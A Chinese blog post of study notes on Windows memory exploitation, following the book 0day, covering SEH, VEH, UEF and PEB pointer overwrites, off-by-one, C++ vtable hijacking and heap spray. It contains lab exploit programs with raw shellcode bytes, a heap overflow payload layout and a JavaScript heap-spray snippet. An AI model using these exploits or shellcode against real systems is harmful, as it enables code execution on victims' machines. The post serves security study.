《0day》-6-各种内存攻击技术

26 篇文章 2 订阅

内存攻击技术

windows异常处理机制

1.1 原理

为了保证系统在遇到错误时不至于崩溃,仍能够健壮稳定地继续运行下去,Windows 会对运行在其中的程序提供一次补救的机会来处理错误,这种机制就是异常处理机制。

Structure Exception Handler,是 Windows 异常处理机制所采用的数据结构。

每个 S.E.H 包含两个 DWORD 指针,共 8 个字节:

  • S.E.H 链表指针
  • 异常处理函数句柄

几个要点:

  • S.E.H 结构体存放在系统栈中。
  • 线程初始化时自动向栈中安装一个 S.E.H,作为线程默认的异常处理。
  • 如果程序源代码中使用了__try{}/__except{}或者Assert宏等异常处理机制,编译器将最终通过向当前函数栈帧中安装一个 S.E.H 来实现异常处理。
  • 栈中一般会同时存在多个 S.E.H。
  • 栈中的多个 S.E.H 由栈顶(低)向栈底串成单向链表,位于链表最顶端的 S.E.H 通过 T.E.B(线程环境块)0 字节偏移处的指针标识。
  • 当异常发生时,操作系统会中断程序,并首先从 T.E.B 的 0 字节偏移处取出距离栈顶最近的 S.E.H,使用异常处理函数句柄所指向的代码来处理异常。
  • 当离“事故现场”最近的异常处理函数运行失败时,将顺着 S.E.H 链表依次尝试其他的异常处理函数。
  • 如果程序安装的所有异常处理函数都不能处理,系统将采用默认的异常处理函数。通常,这个函数会弹出一个错误对话框,然后强制关闭程序。

SEH链表

从程序设计的角度来讲,S.E.H 就是在系统关闭程序之前,给程序一个执行预先设定的回调函数(call back )的机会。

1.2 缺陷

S.E.H 存放在栈内,故溢出缓冲区的数据有可能淹没 S.E.H。

精心制造的溢出数据可以把 S.E.H 中异常处理函数的入口地址更改为 shellcode 的起始地址。

溢出后错误的栈帧或堆块数据往往会触发异常。

当 Windows 开始处理溢出后的异常时,会错误地把 shellcode 当作异常处理函数而执行。

1.3 在栈溢出中利用 S.E.H

#include <windows.h> 
char shellcode[] = "\x90\x90\x90\x90……"; 
DWORD MyExceptionhandler(void) 
{ 
    printf("got an exception, press Enter to kill process!\n"); 
    getchar(); 
    ExitProcess(1); 
} 
void test(char * input) 
{ 
    char buf[200]; 
    int zero=0; 
    __asm int 3 //used to break process for debug 
    __try 		//  SEH ready
    { 
        strcpy(buf,input); //overrun the stack 
        zero=4/zero; //generate an exception 
    } 
    __except(MyExceptionhandler()){} 
} 
int main() 
{ 
	test(shellcode); 
    return 0;
} 

异常处理机制与堆分配机制类似,会检测进程是否处于调试状态。如果直接使用调试器加载程序,异常处理会进入调试状态下的处理流程。因此,在代码中加入断点_asm int 3,让进程自动中断后再用调试器 attach 的方法进行调试。

ollydbg中,view-SEH chain会显示栈中所有SEH结构的位置和其注册的异常回调函数句柄。

1.4 在堆溢出中利用 S.E.H

将 S.E.H 的异常回调函数地址作为 DWORD SHOOT 的目标,将其替换为 shellcode 的入口地址。

#include <windows.h> 
char shellcode[]= 
    "\x90\x90\x90\x90\x90\x90\x90\x90" 
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" 
    "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" 
    "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" 
    "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" 
    "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" 
    "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" 
    "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" 
    "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" 
    "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" 
    "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" 
    "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" 
    "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90" 
    "\x16\x01\x1A\x00\x00\x10\x00\x00"// head of the ajacent free block 
    "\x88\x06\x52\x00"//0x00520688 is the address of shellcode in first 
    //Heapblock  
    "\x90\x90\x90\x90";//target of DWORD SHOOT 
DWORD MyExceptionhandler(void) 
{ 
	ExitProcess(1); 
} 
main() 
{ 
    HLOCAL h1 = 0, h2 = 0; 
    HANDLE hp; 
    hp = HeapCreate(0,0x1000,0x10000); 
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200); 
    memcpy(h1,shellcode,0x200);// over flow here, noticed 0x200 means  
    //512 ! 
    __asm int 3 // uesd to break the process 
    __try 
    { 
    	h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8); 
    } 
    __except(MyExceptionhandler()){} 
    return 0; 
} 

1.5 深入挖掘 Windows 异常处理

1.5.1 不同级别的 S.E.H

异常处理的最小作用域是线程,每个线程都拥有自己的 S.E.H 链表。线程发生错误时,首先将使用自身的 S.E.H 进行处理。

进程中也有一个能够“纵览全局”的异常处理。当线程自身的 S.E.H 无法“摆平”错误的时候,进程 S.E.H 将发挥作用。这种异常处理不仅仅能影响出错的线程,进程下属的所有线程可能都会受到影响。

最后,操作系统还会为所有程序提供一个默认的异常处理。当所有的异常处理函数都无法处理错误时,这个默认的异常处理函数将被最终调用,其结果一般是显示一个错误对话框(程序崩溃时的那种)。

简单的异常处理流程:

  1. 首先执行线程中距离栈顶最近的 S.E.H 的异常处理函数;
  2. 若失败,则依次尝试执行 S.E.H 链表中后续的异常处理函数;
  3. 若 S.E.H 链中所有的异常处理函数都没能处理异常,则执行进程中的异常处理;
  4. 若仍然失败,系统默认的异常处理将被调用,程序崩溃的对话框将被弹出。

1.5.2 线程的异常处理

TEB 引用 S.E.H 链表依次尝试处理异常。

这里补充下异常处理函数的参数和返回值。

线程中的用于处理异常的回调函数有 4 个参数:

  • pExcept:指向一个非常重要的结构体EXCEPTION_RECORD。该结构体包含了若干与异常相关的信息,如异常的类型、异常发生的地址等。
  • pFrame:指向栈帧中的 S.E.H 结构体。
  • pContext:指向 Context 结构体。该结构体中包含了所有寄存器的状态。
  • pDispatch:未知用途。
typedef struct _EXCEPTION_RECORD {
    DWORD ExceptionCode;
    DWORD ExceptionFlags;
    struct _EXCEPTION_RECORD *ExceptionRecord;
    PVOID ExceptionAddress;
    DWORD NumberParameters;
    ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
    } EXCEPTION_RECORD;

typedef EXCEPTION_RECORD *PEXCEPTION_RECORD;

返回值:

  • 0(ExceptionContinueExcetution):代表异常被成功处理,将返回原程序发生异常的地方,继续执行后续指令。
  • 1(ExceptionContinueSearch):代表异常处理失败,将顺着 S.E.H 链表搜索其他可用于异常处理的函数并尝试处理。
unwind

线程的异常处理中还有一个操作叫做unwind:当异常发生时,系统会顺着 S.E.H 链表搜索能够处理异常的句柄,一旦找到了恰当的句柄,系统会将已经遍历过的 S.E.H 中的异常处理函数再调用一遍,这个过程就是所谓的 unwind 操作,这第二轮的调用就是 unwind 调用。

unwind 调用的主要目的是“通知”前边处理异常失败的 S.E.H,系统已经准备将它们“遗弃”了,请它们立刻清理现场,释放资源,之后这些 S.E.H 结构体将被从链表中拆除。 同时,unwind还能在执行异常处理函数时又产生异常的情况下,使这套机制仍能正常工作。

所以,异常处理函数的第一轮调用用来尝试处理异常,而在第二轮的 unwind 调用时,往往执行的是释放资源等操作。

_EXCEPTION_RECORDExceptionCode被设置为 STATUS_UNWINDExceptionFlags被设置为EH_UNWINDING时,对回调函数的调用就属于 unwind 调用。

unwind 操作通过kernerl.32 中的一个导出函数RtlUnwind实现,实际上kernel32.dll会转而再去调用ntdll.dll中的同名函数。

NTSYSAPI
VOID
NTAPI
RtlUnwind(
    _In_opt_ PVOID TargetFrame,
    _In_opt_ PVOID TargetIp,
    _In_opt_ PEXCEPTION_RECORD ExceptionRecord,
    _In_ PVOID ReturnValue
    );

最后一点,:在使用回调函数之前,系统会判断当前是否处于调试状态,如果处于调试状态,将把异常交给调试器处理。

1.5.3 进程的异常处理

进程的异常处理回调函数需要通过kernel32.dll导出的SetUnhandledExceptionFilter() api来注册。

LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
  LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

可以简单地把线程异常处理对应为代码中的__try{} __ except(){}或者Assert等语句,把进程的异常处理对应于函数 SetUnhandledExceptionFilter。

进程的异常处理函数的返回值有以下 3 种:

  • 1(EXCEPTION_EXECUTE_HANDLER):表示错误得到正确的处理,程序将退出。
  • 0(EXCEPTION_CONTINUE_SEARCH):无法处理错误,将错误转交给系统默认的异常处理。
  • -1(EXCEPTION_CONTINUE_EXECUTION):表示错误得到正确的处理,并将继续执行下去。类似于线程的异常处理,系统会用回调函数的参数恢复出异常发生时的断点状况,但这时引起异常的寄存器值应该已经得到了修复。

1.5.4 系统默认的异常处理 U.E.F

系统默认的异常处理函数捕获并处理所有无法处理的异常,它叫做 U.E.F(Unhandled Exception Filter)。,msdn称它为 top-level exception handler。

//errhandlingapi.h
__callback
WINBASEAPI
LONG
WINAPI
UnhandledExceptionFilter(
    _In_ struct _EXCEPTION_POINTERS * ExceptionInfo
    );

注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug 下的表项, Auto 表项代表是否弹出错误对话框,值为 1 表示不弹出错误对话框直接结束程序,其余值均会弹出提示错误的对话框。

Debugger表指明了系统默认的调试器(我这里是vsvsjitdebugger.exe),在错误框弹出后,如果您选择调试,UnhandledExceptionFilter 就会按照这里的命令加载相应的调试器。

1.5.5 异常处理流程的总结

CPU 执行时发生并捕获异常,内核接过进程的控制权,开始内核态的异常处理。 内核异常处理结束,将控制权还给 ring3。

ring3 中第一个处理异常的函数是 ntdll.dll中的 KiUserExceptionDispatcher()函数。

KiUserExceptionDispatcher()首先检查程序是否处于调试状态。如果程序正在被调试,会将异常交给调试器进行处理。

在非调试状态下,KiUserExceptionDispatcher()调用 RtlDispatchException()函数对线程的 S.E.H 链表进行遍历,如果找到能够处理异常的回调函数,将再次遍历先前调用过的 S.E.H 句柄,即 unwind 操作,以保证异常处理机制自身的完整性。

如果栈中所有的 S.E.H 都失败了,且用户曾经使用过 SetUnhandledExceptionFilter()函数设定进程异常处理,则这个异常处理将被调用。

如果用户自定义的进程异常处理失败,或者用户根本没有定义进程异常处理,那么系统默认的异常处理 UnhandledExceptionFilter()将被调用。U.E.F 会根据注册表里的相关信息决定是默默地关闭程序,还是弹出错误对话框。

Windows XP 及 其 以 后 的 操 作 系 统KiUserExceptionDispatcher()在遍历栈帧中的 S.E.H 之前,会去先尝试一种新加入的异常处理类型 V.E.H(Vectored Exception Handling)。

1.6 其他异常处理机制的利用思路

1.6.1 V.E.H 利用

V.E.H 和进程异常处理类似,都是基于进程的,而且需要使用 API 注册回调函数。

//errhandlingapi.h

WINBASEAPI
_Ret_maybenull_
PVOID
WINAPI
AddVectoredExceptionHandler(
    _In_ ULONG First,
    _In_ PVECTORED_EXCEPTION_HANDLER Handler
    );

可以注册多个 V.E.H,V.E.H 结构体之间串成双向链表。

 struct _VECTORED_EXCEPTION_NODE { 
     DWORD   m_pNextNode; 
     DWORD   m_pPreviousNode; 
     PVOID   m_pfnVectoredHandler; 
 } 

V.E.H 处理优先级次于调试器处理,高于 S.E.H 处理;即KiUserExceptionDispatcher()首先检查是否被调试,然后检查 V.E.H 链表,最后检查 S.E.H 链表。

注册 V.E.H 时,可以指定其在链中的位置,不一定像 S.E.H 那样必须按照注册的顺序压入栈中,因此,V.E.H 使用起来更加灵活。

V.E.H 保存在堆中。

最后,unwind 操作只对栈帧中的 S.E.H 链起作用,不会涉及 V.E.H 这种进程类的异常处理。

1.6.2 攻击 TEB 中的 S.E.H 头节点

线程的 S.E.H 链通过 TEB 的第一个 DWORD 标识(fs:0),这个指针永远指向离栈顶最近的那个 S.E.H。如果能够修改 TEB 中的这个指针,在异常发生时就能将程序引导到 shellcode 中去执行。

先了解一下TEB的知识。

  • 一个进程中可能同时存在多个线程。
  • 每个线程都有一个线程环境块 TEB。
  • 第一个 TEB 开始于地址 0x7FFDE000。
  • 之后新建线程的 TEB 将紧随前边的 TEB,之间相隔 0x1000 字节,并向内存低址方向增长。
  • 当线程退出时,对应的 TEB 也被销毁,腾出的 TEB 空间可以被新建的线程重复使用。

当遇到多线程的程序(尤其是服务器程序)时,很难判断当前的线程是哪一个,以及对应的 TEB 在什么位置。因此,攻击 TEB 中 S.E.H 头节点的方法一般用于单线程的程序。

1.6.3 攻击 U.E.F

如果能够利用堆溢出产生的 DWORD SHOOT 把这个“终极异常处理函数”的调用句柄覆盖为 shellcode 的入口地址,再制造一个其他异常处理都无法解决的异常,shellcode就能执行。

1.6.4 攻击 PEB 中的函数指针

U.E.F 被使用后,将最终调用ExitProcess()来结束程序,该函数在清理现场的时候需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()RtlLeaveCriticalSection()

ExitProcess()是通过存放在 PEB 中的一对指针来调用这两个函数的,如果能够在 DWORD SHOOT 时把 PEB 中的这对指针修改成 shellcode 的入口地址,那么,在程序最终结束时,将执行 shellcode。

2. “off by one”的利用

void off_by_one(char * input) 
{ 
char buf[200]; 
int i=0,len=0; 
len=sizeof(buf); 
for(i=0; input[i]&&(i<=len); i++) 
{ 
buf[i]=input[i]; 
} 
…… 
} 

正确的限制应该是i<len。这多余的一个字节可以覆盖 EBP 的最低位字节,然后就能在 255 个字节的范围内移动 EBP。

3. 攻击 C++的虚函数

如果对象中的成员变量发生了溢出,有机会修改对象中的虚表指针或修改虚表中的虚函数指针,那么在程序调用虚函数时就会跑去执行 shellcode。

class Failwest 
{ 
public: 
    char buf[200]; 
    virtual void test(void) 
    { 
        cout<<"Class Vtable::test()"<<endl; 
    } 
}; 
Failwest overflow, *p; 
void main(void) 
{ 
    char * p_vtable; 
    p_vtable=overflow.buf-4;//point to virtual table 
    //reset fake virtual table to 0x004088cc 
    //the address may need to ajusted via runtime debug 
    p_vtable[0]=0xCC; 
    p_vtable[1]=0x88; 
    p_vtable[2]=0x40; 
    p_vtable[3]=0x00; 
    strcpy(overflow.buf,shellcode);//set fake virtual function pointer 
    p=&overflow; 
    p->test(); 
} 

4. Heap Spray:堆与栈的协同攻击

在针对浏览器的攻击中,常常会结合使用堆和栈协同利用漏洞。

  1. 当浏览器或其使用的 ActiveX 控件中存在溢出漏洞时,攻击者就可以生成一个特殊的 HTML文件来触发这个漏洞。
  2. 不管是堆溢出还是栈溢出,漏洞触发后最终能够获得 EIP。
  3. 有时我们可能很难在浏览器中复杂的内存环境下布置完整的 shellcode。
  4. 页面中的 JavaScript 可以申请堆内存,因此,把 shellcode 通过 JavaScript 布置在堆中成为可能。

接下来要了解Heap Spray 技术。

Heap Spray 技术在 2004 年 IE 的 IFRAME 漏洞首次出现,微软编号MS04-040,CVE 编号为 CVE-2004-1050。这种技术已经发展为对浏览器攻击的经典方法,并被“网马”所普遍采用。

在使用 Heap Spray 的时候,一般会将 EIP 指向堆区的 0x0C0C0C0C 位置,然后用 JavaScript申请大量堆内存,并用包含着 0x90 和 shellcode 的“内存片”覆盖这些内存。

通常,JavaScript 会从内存低址向高址分配内存,因此申请的内存超过 200MB(200MB=200×1024×1024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C 将被含有 shellcode 的内存片覆盖。只要内存片中的 0x90 能够命中 0x0C0C0C0C 的位置,shellcode 就能最终得到执行。

var nop=unescape("%u9090%u9090"); 
while (nop.length<= 0x100000/2) 
{ 
	nop+=nop; 
}//生成一个 1MB 大小充满 0x90 的数据块 
 
nop = nop.substring(0, 0x100000/2 - 32/2 - 4/2 - shellcode.length - 2/2 ); 
var slide = new Arrary(); 
for (var i=0; i<200; i++) 
{ 
	slide[i] = nop + shellcode 
} 

为什么采用 1MB 大小作为内存片的单位呢?在 Heap Spray 时,内存片相对于 shellcode 和额外的内存信息来说应该“足够大”,这样 nop 区域命中 0x0C0C0C0C 的几率将相对增加。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值